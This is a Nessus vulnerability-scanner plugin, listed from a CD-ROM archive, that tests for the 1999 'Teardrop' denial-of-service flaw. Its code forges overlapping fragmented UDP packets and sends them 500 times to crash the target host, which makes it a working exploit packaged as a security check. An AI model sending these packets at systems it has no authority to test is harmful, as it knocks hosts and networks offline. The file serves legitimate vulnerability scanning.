home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / teardrop.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  125 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10279);
  10.  script_bugtraq_id(124);
  11.  script_version ("$Revision: 1.18 $");
  12.  script_cve_id("CAN-1999-0015");
  13.  
  14.  name["english"] = "Teardrop";
  15.  name["francais"] = "Teardrop";
  16.  script_name(english:name["english"], francais:name["francais"]);
  17.  
  18.  desc["english"] = "It was possible
  19. to make the remote server crash
  20. using the 'teardrop' attack. 
  21.  
  22. An attacker may use this flaw to
  23. shut down this server, thus 
  24. preventing your network from
  25. working properly.
  26.  
  27. Solution : contact your operating
  28. system vendor for a patch.
  29.  
  30. Risk factor : High";
  31.  
  32.  
  33.  desc["francais"] = "Il s'est avΘrΘ
  34. possible de faire planter la 
  35. machine distante en utilisant
  36. l'attaque 'teardrop'. 
  37.  
  38. Un pirate peut utiliser cette
  39. attaque pour empecher votre
  40. rΘseau de fonctionner normallement.
  41.  
  42. Solution : contactez le vendeur
  43. de votre OS pour un patch.
  44.  
  45. Facteur de risque : ElevΘ";
  46.  
  47.  script_description(english:desc["english"], francais:desc["francais"]);
  48.  
  49.  summary["english"] = "Crashes the remote host using the 'teardrop' attack";
  50.  summary["francais"] = "Plante le serveur distant en utilisant l'attaque 'teardrop'";
  51.  script_summary(english:summary["english"], francais:summary["francais"]);
  52.  
  53.  script_category(ACT_KILL_HOST);
  54.  
  55.  
  56.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  57.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  58.  family["english"] = "Denial of Service";
  59.  family["francais"] = "DΘni de service";
  60.  script_family(english:family["english"], francais:family["francais"]);
  61.  
  62.  
  63.  exit(0);
  64. }
  65.  
  66. #
  67. # The script code starts here
  68. #
  69.  
  70.  
  71.  
  72.  
  73. # Our constants
  74. MAGIC = 2;
  75. IPH   = 20;
  76. UDPH  = 8;
  77. PADDING = 0x1c;
  78. MAGIC = 0x3;
  79. IP_ID = 242;
  80. sport = 123;
  81. dport = 137;
  82.  
  83. LEN = IPH + UDPH + PADDING;
  84.  
  85. src = this_host();
  86. ip = forge_ip_packet(ip_v : 4,
  87.              ip_hl : 5,
  88.              ip_tos : 0,
  89.              ip_id  : IP_ID,
  90.              ip_len : LEN,
  91.              ip_off : IP_MF,
  92.              ip_p   : IPPROTO_UDP,
  93.              ip_src : src,
  94.              ip_ttl : 0x40);
  95.  
  96. # Forge the first UDP packet
  97.  
  98. LEN = UDPH + PADDING;        
  99. udp1 = forge_udp_packet(ip : ip,
  100.             uh_sport : sport, uh_dport : dport,
  101.             uh_ulen : LEN);             
  102.  
  103. # Change some tweaks in the IP packet
  104.  
  105. LEN = IPH + MAGIC + 1;
  106. ip = set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);
  107.  
  108. # and forge the second UDP packet    
  109. LEN = UDPH + PADDING;     
  110. udp2 =     forge_udp_packet(ip : ip,
  111.             uh_sport : sport, uh_dport : dport,
  112.             uh_ulen : LEN);
  113.             
  114.  
  115. # Send our UDP packets 500 times
  116.  
  117. start_denial();
  118. send_packet(udp1,udp2, pcap_active:FALSE) x 500;    
  119. alive = end_denial();
  120.  
  121. if(!alive){
  122.                 set_kb_item(name:"Host/dead", value:TRUE);
  123.                 security_hole(0);
  124.                 }
  125.